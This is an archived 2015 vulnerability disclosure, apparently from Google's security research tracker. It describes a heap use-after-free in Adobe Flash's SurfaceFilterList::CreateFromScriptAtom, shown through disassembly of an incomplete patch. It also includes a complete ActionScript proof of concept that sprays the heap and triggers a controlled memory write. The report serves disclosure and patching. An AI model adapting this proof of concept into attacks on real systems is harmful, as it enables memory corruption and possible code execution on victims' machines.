Adobe Flash Heap Use-After-Free In SurfaceFilterList::C​reateFromScriptAtom
Posted on 20 August 2015
Source: https://code.google.com/p/google-security-research/issues/detail?id=484&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for: https://code.google.com/p/chromium/issues/detail?id=508072] VULNERABILITY DETAILS Copy Paste of Issue 480496 VERSION Chrome Version: N/A yet, Flash 18.0.0.203 Operating System: [Win7 x64 SP1] REPRODUCTION CASE Flash 18.0.0.203 patched Issue 480496 by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone): .text:004D71DA loc_4D71DA: .text:004D71DA and ecx, 0FFFFFFF8h .text:004D71DD call xAS2_getArrayLength .text:004D71E2 test eax, eax .text:004D71E4 jle short loc_4D725D .text:004D71E6 mov ecx, [esp+8+arg_C] .text:004D71EA mov eax, [ecx+94h] .text:004D71F0 test eax, 0FFFFFFFEh .text:004D71F5 jz short loc_4D7200 .text:004D71F7 and eax, 0FFFFFFFEh .text:004D71FA cmp dword ptr [eax+28h], 0 ; here we check whether the object has been deleted or not .text:004D71FE jnz short loc_4D720B .text:004D7200 .text:004D7200 loc_4D7200: .text:004D7200 mov ecx, dword_E51A40 .text:004D7206 call sub_968A00 ; and in that case we suicide Unfortunately they forget to do that check after the second Array.length call: .text:004D721D loc_4D721D: .text:004D721D and eax, 0FFFFFFF8h .text:004D7220 push edi .text:004D7221 mov edi, eax .text:004D7223 mov ecx, edi .text:004D7225 xor esi, esi .text:004D7227 call xAS2_getArrayLength ; here we can still execute a script and delete the filters... .text:004D722C test eax, eax .text:004D722E jle short loc_4D725C Should crash that way: CPU Disasm Address Hex dump Command Comments 004CE27F 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] 004CE282 8942 04 MOV DWORD PTR DS:[EDX+4],EAX ; write a pointer to 0x41424344 004CE285 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] 004CE288 8950 08 MOV DWORD PTR DS:[EAX+8],EDX 004CE28B FF41 08 INC DWORD PTR DS:[ECX+8] 004CE28E 8941 04 MOV DWORD PTR DS:[ECX+4],EAX 004CE291 C2 0400 RETN 4 004CE294 FF41 08 INC DWORD PTR DS:[ECX+8] *************************************************************************** Content of flash_as2_filters_uaf_write4_poc.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "4" //It's because Flash CS5.5 does not allow naming a property with a numeral import flash.filters.GlowFilter; var tfield:TextField = createTextField("tf",1,1,2,3,4) var a1:Array = new Array() var a2:Array = new Array() for (i = 0; i<0x3F8/4;i++) { a2[i] = 0x41424344 } a2[3] = 0 a2[0x324/4] = 0x41424344 a2[0x324/4 + 1] = 0x41424344 a2[0x324/4 + 2] = 0x41414143 a2[0x324/4 + 3] = 0x41414100 for (var i = 0; i<0x200;i++) { var tf:TextFormat = new TextFormat() a1[i] = tf } for (var i = 0; i<0x100;i++) { a1[i].tabStops = a2 } a1[0xFF].tabStops = [] function f() { _global.mc.createTextField("tf",1,1,2,3,4) a1[0xFE].tabStops = [] a1[0xFD].tabStops = [] for (var i = 0x100; i<0x200;i++) { _global.a1[i].tabStops = _global.a2 } } _global.mc = this _global.counter = 0 _global.a1 = a1 _global.a2 = a2 var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 4) f() return 10; } var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)} tfield.filters = o;